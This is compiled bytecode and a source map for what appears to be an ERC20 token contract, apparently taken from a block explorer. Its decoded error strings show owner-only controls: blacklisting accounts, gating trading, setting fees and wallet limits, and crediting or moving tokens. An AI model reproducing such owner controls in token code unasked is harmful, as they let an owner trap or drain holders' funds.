565b92915050565b600080600060608486031215613e3857613e37613a68565b5b6000613e4686828701613b7d565b9350506020613e5786828701613b7d565b9250506040613e6886828701613c93565b9150509250925092565b600060ff82169050919050565b613e8881613e72565b82525050565b6000602082019050613ea36000830184613e7f565b92915050565b600060208284031215613ebf57613ebe613a68565b5b6000613ecd84828501613b7d565b91505092915050565b613edf81613b54565b82525050565b6000602082019050613efa6000830184613ed6565b92915050565b60008060408385031215613f1757613f16613a68565b5b6000613f2585828601613b7d565b9250506020613f3685828601613b7d565b9150509250929050565b613f4981613dbf565b8114613f5457600080fd5b50565b600081359050613f6681613f40565b92915050565b600060208284031215613f8257613f81613a68565b5b6000613f9084828501613f57565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613fcf602083613ce0565b9150613fda82613f99565b602082019050919050565b60006020820190508181036000830152613ffe81613fc2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061406e82613c72565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036140a05761409f614034565b5b600182019050919050565b7f50657263656e7420697320746f6f206869676800000000000000000000000000600082015250565b60006140e1601383613ce0565b91506140ec826140ab565b602082019050919050565b60006020820190508181036000830152614110816140d4565b9050919050565b6000819050919050565b6000819050919050565b600061414661414161413c84614117565b614121565b613c72565b9050919050565b6141568161412b565b82525050565b600060c0820190506141716000830189613ed6565b61417e6020830188613df5565b61418b604083018761414d565b614198606083018661414d565b6141a56080830185613ed6565b6141b260a0830184613df5565b979650505050505050565b6000815190506141cc81613c7c565b92915050565b6000806000606084860312156141eb576141ea613a68565b5b60006141f9868287016141bd565b935050602061420a868287016141bd565b925050604061421b868287016141bd565b9150509250925092565b600061423082613c72565b915061423b83613c72565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561427457614273614034565b5b828202905092915050565b7f436f6e747261637420646f6573206e6f74206861766520656e6f75676820746f60008201527f6b656e7300000000000000000000000000000000000000000000000000000000602082015250565b60006142db602483613ce0565b91506142e68261427f565b604082019050919050565b6000602082019050818103600083015261430a816142ce565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000614347601783613ce0565b915061435282614311565b602082019050919050565b600060208201905081810360008301526143768161433a565b9050919050565b60008151905061438c81613b66565b92915050565b6000602082840312156143a8576143a7613a68565b5b60006143b68482850161437d565b91505092915050565b60006040820190506143d46000830185613ed6565b6143e16020830184613ed6565b9392505050565b60006040820190506143fd6000830185613ed6565b61440a6020830184613df5565b9392505050565b60008151905061442081613f40565b92915050565b60006020828403121561443c5761443b613a68565b5b600061444a84828501614411565b91505092915050565b600061445e82613c72565b915061446983613c72565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561449e5761449d614034565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006144e382613c72565b91506144ee83613c72565b9250826144fe576144fd6144a9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614565602183613ce0565b915061457082614509565b604082019050919050565b6000602082019050818103600083015261459481614558565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006145f7602483613ce0565b91506146028261459b565b604082019050919050565b60006020820190508181036000830152614626816145ea565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614689602283613ce0565b91506146948261462d565b604082019050919050565b600060208201905081810360008301526146b88161467c565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061471b602583613ce0565b9150614726826146bf565b604082019050919050565b6000602082019050818103600083015261474a8161470e565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006147ad602383613ce0565b91506147b882614751565b604082019050919050565b600060208201905081810360008301526147dc816147a0565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061483f602983613ce0565b915061484a826147e3565b604082019050919050565b6000602082019050818103600083015261486e81614832565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b60006148ab601b83613ce0565b91506148b682614875565b602082019050919050565b600060208201905081810360008301526148da8161489e565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b6000614917601a83613ce0565b9150614922826148e1565b602082019050919050565b600060208201905081810360008301526149468161490a565b9050919050565b7f54726164696e67206e6f74207374617274656400000000000000000000000000600082015250565b6000614983601383613ce0565b915061498e8261494d565b602082019050919050565b600060208201905081810360008301526149b281614976565b9050919050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b60006149ef601c83613ce0565b91506149fa826149b9565b602082019050919050565b60006020820190508181036000830152614a1e816149e2565b9050919050565b6000614a3082613c72565b9150614a3b83613c72565b925082821015614a4e57614a4d614034565b5b828203905092915050565b6000606082019050614a6e6000830186613df5565b614a7b6020830185613df5565b614a886040830184613df5565b949350505050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614ac581613b54565b82525050565b6000614ad78383614abc565b60208301905092915050565b6000602082019050919050565b6000614afb82614a90565b614b058185614a9b565b9350614b1083614aac565b8060005b83811015614b41578151614b288882614acb565b9750614b3383614ae3565b925050600181019050614b14565b5085935050505092915050565b6000608082019050614b63600083018761414d565b8181036020830152614b758186614af0565b9050614b846040830185613ed6565b614b916060830184613df5565b95945050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614bd0601b83613ce0565b9150614bdb82614b9a565b602082019050919050565b60006020820190508181036000830152614bff81614bc3565b9050919050565b600060a082019050614c1b6000830188613df5565b614c28602083018761414d565b8181036040830152614c3a8186614af0565b9050614c496060830185613ed6565b614c566080830184613df5565b969550505050505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204eb3d867108105e904b1f5ed3bc05ccc844fda15ae2f7e1684b9ec2f1f0ade2364736f6c634300080d0033

Deployed Bytecode Sourcemap

4406:12557:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;16224:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7406:98;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6830:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9303:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8251:203;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7071:86;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8675:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7512:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9454:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6992:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8119:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6735:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7631:109;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7165:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16104:81;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16357:84;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8462:205;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16446:125;;;;;;;;;;;;;:::i;:::-;;8893:109;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4262:133;;;;;;;;;;;;;:::i;:::-;;7748:97;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;14867:302;;;;;;;;;;;;;:::i;:::-;;6476:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16579:381;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4078:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9754:181;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6909:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14376:306;;;;;;;;;;;;;:::i;:::-;;9007:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12692:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4672:36;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7987:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6647:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14690:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9164:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7853:126;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7284:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15564:84;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6562:77;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16224:130;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16291:9:::1;16286:67;16310:5;:12;16306:1;:16;16286:67;;;16347:4;16330;:14;16335:5;16341:1;16335:8;;;;;;;;:::i;:::-;;;;;;;;16330:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;16324:3;;;;;:::i;:::-;;;;16286:67;;;;16224:130:::0;:::o;7406:98::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7490:6:::1;7480:7;:16;;;;7406:98:::0;:::o;6830:74::-;6867:13;6894:5;;;;;;;;;;;;;;;;;6887:12;;6830:74;:::o;9303:146::-;9378:4;9389:39;9398:12;:10;:12::i;:::-;9412:7;9421:6;9389:8;:39::i;:::-;9440:4;9433:11;;9303:146;;;;:::o;8251:203::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8371:3:::1;8351:17;:23;8343:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;8429:17;8409;:37;;;;8251:203:::0;:::o;7071:86::-;7124:7;7145;;7138:14;;7071:86;:::o;8675:213::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8798:3:::1;8778:17;:23;8770:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;8863:17;8836:24;:44;;;;8675:213:::0;:::o;7512:111::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7609:6:::1;7589:17;:26;;;;7512:111:::0;:::o;9454:292::-;9552:4;9563:36;9573:6;9581:9;9592:6;9563:9;:36::i;:::-;9604:121;9613:6;9621:12;:10;:12::i;:::-;9635:89;9673:6;9635:89;;;;;;;;;;;;;;;;;:11;:19;9647:6;9635:19;;;;;;;;;;;;;;;:33;9655:12;:10;:12::i;:::-;9635:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;9604:8;:121::i;:::-;9737:4;9730:11;;9454:292;;;;;:::o;6992:74::-;7033:5;5566:1;7045:16;;6992:74;:::o;8119:124::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8225:9:::1;8198:16;;:37;;;;;;;;;;;;;;;;;;8119:124:::0;:::o;6735:90::-;6781:4;6805:12;;;;;;;;;;;6798:19;;6735:90;:::o;7631:109::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7726:6:::1;7707:16;:25;;;;7631:109:::0;:::o;7165:111::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7264:4:::1;7234:18;:27;7253:7;7234:27;;;;;;;;;;;;;;;;:34;;;;;;;;;;;;;;;;;;7165:111:::0;:::o;16104:81::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16174:6:::1;16163:10;:17;;;;16104:81:::0;:::o;16357:84::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16431:5:::1;16416:4;:12;16421:6;16416:12;;;;;;;;;;;;;;;;:20;;;;;;;;;;;;;;;;;;16357:84:::0;:::o;8462:205::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8581:3:::1;8561:17;:23;8553:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;8642:17;8619:20;:40;;;;8462:205:::0;:::o;16446:125::-;16479:26;16508:21;16479:50;;16534:32;16547:18;16534:12;:32::i;:::-;16474:97;16446:125::o;8893:109::-;8959:7;8980:8;:17;8989:7;8980:17;;;;;;;;;;;;;;;;8973:24;;8893:109;;;:::o;4262:133::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4363:1:::1;4326:40;;4347:6;::::0;::::1;;;;;;;;4326:40;;;;;;;;;;;;4388:1;4371:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4262:133::o:0;7748:97::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7831:6:::1;7818:10;:19;;;;7748:97:::0;:::o;14867:302::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14921:8:::1;;;;;;;;;;;:24;;;14953:21;14999:4;15019:24;15037:4;15019:9;:24::i;:::-;15058:1;15074::::0;15090:7:::1;:5;:7::i;:::-;15112:15;14921:217;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;15160:4;15145:12;;:19;;;;;;;;;;;;;;;;;;14867:302::o:0;6476:81::-;6520:7;6540:12;;6533:19;;6476:81;:::o;16579:381::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;16703:5:::1;16694:6;:14;;;;:::i;:::-;16667:8;:23;16684:4;16667:23;;;;;;;;;;;;;;;;:41;;16659:90;;;;;;;;;;;;:::i;:::-;;;;;;;;;16796:43;16833:5;16824:6;:14;;;;:::i;:::-;16796:8;:23;16813:4;16796:23;;;;;;;;;;;;;;;;:27;;:43;;;;:::i;:::-;16770:8;:23;16787:4;16770:23;;;;;;;;;;;;;;;:69;;;;16881:5;16872:6;:14;;;;:::i;:::-;16850:8;:19;16859:9;16850:19;;;;;;;;;;;;;;;:36;;;;16926:9;16902:50;;16919:4;16902:50;;;16946:5;16937:6;:14;;;;:::i;:::-;16902:50;;;;;;:::i;:::-;;;;;;;;16579:381:::0;;:::o;4078:70::-;4116:7;4137:6;;;;;;;;;;;4130:13;;4078:70;:::o;9754:181::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9839:9:::1;9835:98;9854:15;:22;9852:1;:24;9835:98;;;9926:4;9885:18;:38;9904:15;9920:1;9904:18;;;;;;;;:::i;:::-;;;;;;;;9885:38;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;9878:3;;;;;:::i;:::-;;;;9835:98;;;;9754:181:::0;:::o;6909:78::-;6948:13;6975:7;;;;;;;;;;;;;;;;;6968:14;;6909:78;:::o;14376:306::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14431:9:::1;::::0;::::1;;;;;;;;14430:10;14422:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;14472:51;14489:4;14504:8;;;;;;;;;;;14515:7;;14472:8;:51::i;:::-;14554:8;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14536:48;;;14593:4;14600:8;;;;;;;;;;;:13;;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14536:80;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14528:5;;:88;;;;;;;;;;;;;;;;;;14628:5;;;;;;;;;;;14621:21;;;14651:8;;;;;;;;;;;14662:14;14621:56;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14376:306::o:0;9007:152::-;9085:4;9096:42;9106:12;:10;:12::i;:::-;9120:9;9131:6;9096:9;:42::i;:::-;9150:4;9143:11;;9007:152;;;;:::o;12692:112::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12762:12:::1;;12755:6;:19;12747:28;;;::::0;::::1;;12793:6;12780:12;:19;;;;12692:112:::0;:::o;4672:36::-;;;;;;;;;;;;;;;;;;;;;;:::o;7987:124::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8093:10:::1;8072:18;;:31;;;;;;;;;;;;;;;;;;7987:124:::0;:::o;6647:80::-;6688:4;6712:7;;;;;;;;;;;6705:14;;6647:80;:::o;14690:172::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;14799:5:::1;14789:7;:15;;;;:::i;:::-;14769:8;:16;14778:6;14769:16;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;14835:6;14811:48;;14828:4;14811:48;;;14853:5;14843:7;:15;;;;:::i;:::-;14811:48;;;;;;:::i;:::-;;;;;;;;14690:172:::0;;:::o;9164:134::-;9245:7;9266:11;:18;9278:5;9266:18;;;;;;;;;;;;;;;:27;9285:7;9266:27;;;;;;;;;;;;;;;;9259:34;;9164:134;;;;:::o;7853:126::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7963:8:::1;7935:25;:36;;;;7853:126:::0;:::o;7284:110::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7381:5:::1;7351:18;:27;7370:7;7351:27;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;7284:110:::0;:::o;15564:84::-;4197:12;:10;:12::i;:::-;4187:22;;:6;;;;;;;;;;:22;;;4179:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;15636:7:::1;15624:9;::::0;:19:::1;;;;;;;;;;;;;;;;;;15564:84:::0;:::o;6562:77::-;6604:7;6624:10;;6617:17;;6562:77;:::o;3245:204::-;3303:7;3326:1;3321;:6;3317:32;;3342:1;3335:8;;;;3317:32;3353:9;3369:1;3365;:5;;;;:::i;:::-;3353:17;;3392:1;3387;3383;:5;;;;:::i;:::-;:10;3375:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;3443:1;3436:8;;;3245:204;;;;;:::o;3454:123::-;3512:7;3533:39;3537:1;3540;3533:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3526:46;;3454:123;;;;:::o;2006:89::-;2059:7;2080:10;2073:17;;2006:89;:::o;9940:308::-;10044:1;10027:19;;:5;:19;;;10019:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10119:1;10100:21;;:7;:21;;;10092:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10195:6;10165:11;:18;10177:5;10165:18;;;;;;;;;;;;;;;:27;10184:7;10165:27;;;;;;;;;;;;;;;:36;;;;10227:7;10211:32;;10220:5;10211:32;;;10236:6;10211:32;;;;;;:::i;:::-;;;;;;;;9940:308;;;:::o;10253:1232::-;10351:1;10335:18;;:4;:18;;;10327:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;10422:1;10408:16;;:2;:16;;;10400:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10486:1;10477:6;:10;10469:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10547:4;:10;10552:4;10547:10;;;;;;;;;;;;;;;;;;;;;;;;;10546:11;:24;;;;;10562:4;:8;10567:2;10562:8;;;;;;;;;;;;;;;;;;;;;;;;;10561:9;10546:24;10538:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;10621:7;:5;:7::i;:::-;10613:15;;:4;:15;;;;:32;;;;;10638:7;:5;:7::i;:::-;10632:13;;:2;:13;;;;10613:32;10609:774;;;10665:5;;;;;;;;;;;10657:13;;:4;:13;;;:40;;;;;10688:8;;;;;;;;;;;10674:23;;:2;:23;;;;10657:40;:68;;;;;10703:18;:22;10722:2;10703:22;;;;;;;;;;;;;;;;;;;;;;;;;10701:24;10657:68;10653:278;;;10751:12;;10743:6;:20;;10735:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;10808:9;;;;;;;;;;10800:40;;;;;;;;;;;;:::i;:::-;;;;;;;;;10881:10;;10871:6;10855:13;10865:2;10855:9;:13::i;:::-;:22;;;;:::i;:::-;:36;;10847:77;;;;;;;;;;;;:::i;:::-;;;;;;;;;10653:278;10959:5;;;;;;;;;;;10951:13;;:4;:13;;;10947:132;;10995:8;:6;:8::i;:::-;10985:7;:18;;;;10947:132;;;11054:9;:7;:9::i;:::-;11044:7;:19;;;;10947:132;11095:28;11126:24;11144:4;11126:9;:24::i;:::-;11095:55;;11169:7;;;;;;;;;;;11168:8;:25;;;;;11188:5;;;;;;;;;;;11180:13;;:4;:13;;;;11168:25;:41;;;;;11197:12;;;;;;;;;;;11168:41;11165:213;;;11257:25;;11233:20;:49;11230:133;;11307:36;11322:20;11307:14;:36::i;:::-;11230:133;11165:213;10647:736;10609:774;11389:91;11404:4;11409:2;11412:6;11420:18;:22;11439:2;11420:22;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;11444:18;:24;11463:4;11444:24;;;;;;;;;;;;;;;;;;;;;;;;;11420:48;11419:60;;11472:7;;11419:60;;;11470:1;11419:60;11389:14;:91::i;:::-;10253:1232;;;:::o;3071:169::-;3157:7;3184:1;3179;:6;;3187:12;3171:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3205:9;3221:1;3217;:5;;;;:::i;:::-;3205:17;;3234:1;3227:8;;;3071:169;;;;;:::o;12809:239::-;12866:23;12892:45;12933:3;12892:36;12903:24;;12892:6;:10;;:36;;;;:::i;:::-;:40;;:45;;;;:::i;:::-;12866:71;;12950:16;;;;;;;;;;;:25;;:42;12976:15;12950:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13005:38;13021:21;13005:15;:38::i;:::-;12855:193;12809:239;:::o;2939:127::-;2997:7;3018:43;3022:1;3025;3018:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;3011:50;;2939:127;;;;:::o;3582:168::-;3668:7;3694:1;3690;:5;3697:12;3682:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;3715:9;3731:1;3727;:5;;;;:::i;:::-;3715:17;;3744:1;3737:8;;;3582:168;;;;;:::o;12465:106::-;12505:7;12546:16;;12533:10;;:29;;;;:::i;:::-;12525:38;;12465:106;:::o;12579:108::-;12620:7;12661:17;;12648:10;;:30;;;;:::i;:::-;12640:39;;12579:108;:::o;11493:964::-;5906:4;5896:7;;:14;;;;;;;;;;;;;;;;;;11578:26:::1;11607:54;11655:5;11607:43;11632:17;;11607:20;:24;;:43;;;;:::i;:::-;:47;;:54;;;;:::i;:::-;11578:83;;11672:23;11698:57;11749:5;11698:46;11723:20;;11698;:24;;:46;;;;:::i;:::-;:50;;:57;;;;:::i;:::-;11672:83;;11766:22;11791:39;11814:15;11791:18;:22;;:39;;;;:::i;:::-;11766:64;;11841:23;11867:40;11892:14;11867:20;:24;;:40;;;;:::i;:::-;11841:66;;11918:25;11946:36;11966:15;11946;:19;;:36;;;;:::i;:::-;11918:64;;11995:12;12010:25;12033:1;12010:18;:22;;:25;;;;:::i;:::-;11995:40;;12046:17;12066:28;12089:4;12066:18;:22;;:28;;;;:::i;:::-;12046:48;;12107:22;12132:21;12107:46;;12166:45;12183:27;12192:17;12183:4;:8;;:27;;;;:::i;:::-;12166:16;:45::i;:::-;12224:18;12245:41;12271:14;12245:21;:25;;:41;;;;:::i;:::-;12224:62;;12299:39;12316:10;12328:9;12299:16;:39::i;:::-;12364:43;12379:4;12385:10;12397:9;12364:43;;;;;;;;:::i;:::-;;;;;;;;12420:29;12433:15;12420:12;:29::i;:::-;11567:890;;;;;;;;;5931:5:::0;5921:7;;:15;;;;;;;;;;;;;;;;;;11493:964;:::o;15653:446::-;15759:13;15775:29;15800:3;15775:20;15787:7;15775;:11;;:20;;;;:::i;:::-;:24;;:29;;;;:::i;:::-;15759:45;;15809:23;15835:18;15847:5;15835:7;:11;;:18;;;;:::i;:::-;15809:44;;15879:29;15900:7;15879:8;:16;15888:6;15879:16;;;;;;;;;;;;;;;;:20;;:29;;;;:::i;:::-;15860:8;:16;15869:6;15860:16;;;;;;;;;;;;;;;:48;;;;15935:40;15959:15;15935:8;:19;15944:9;15935:19;;;;;;;;;;;;;;;;:23;;:40;;;;:::i;:::-;15913:8;:19;15922:9;15913:19;;;;;;;;;;;;;;;:62;;;;16006:34;16034:5;16006:8;:23;16023:4;16006:23;;;;;;;;;;;;;;;;:27;;:34;;;;:::i;:::-;15980:8;:23;15997:4;15980:23;;;;;;;;;;;;;;;:60;;;;16067:9;16050:44;;16059:6;16050:44;;;16078:15;16050:44;;;;;;:::i;:::-;;;;;;;;15754:345;;15653:446;;;;:::o;13929:442::-;13994:21;14032:1;14018:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13994:40;;14055:8;;;;;;;;;;;:13;;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14045:4;14050:1;14045:7;;;;;;;;:::i;:::-;;;;;;;:25;;;;;;;;;;;14091:18;;;;;;;;;;;14081:4;14086:1;14081:7;;;;;;;;:::i;:::-;;;;;;;:28;;;;;;;;;;;14120:57;14129:8;;;;;;;;;;;:13;;;:15;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14154:8;;;;;;;;;;;14165:11;14120:8;:57::i;:::-;14188:8;;;;;;;;;;;:59;;;14255:11;14283:1;14299:4;4757:42;14337:15;14188:175;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13983:388;13929:442;:::o;2776:158::-;2834:7;2848:9;2864:1;2860;:5;;;;:::i;:::-;2848:17;;2883:1;2878;:6;;2870:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2928:1;2921:8;;;2776:158;;;;:::o;13056:366::-;13116:21;13154:1;13140:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13116:40;;13179:4;13161;13166:1;13161:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;13199:8;;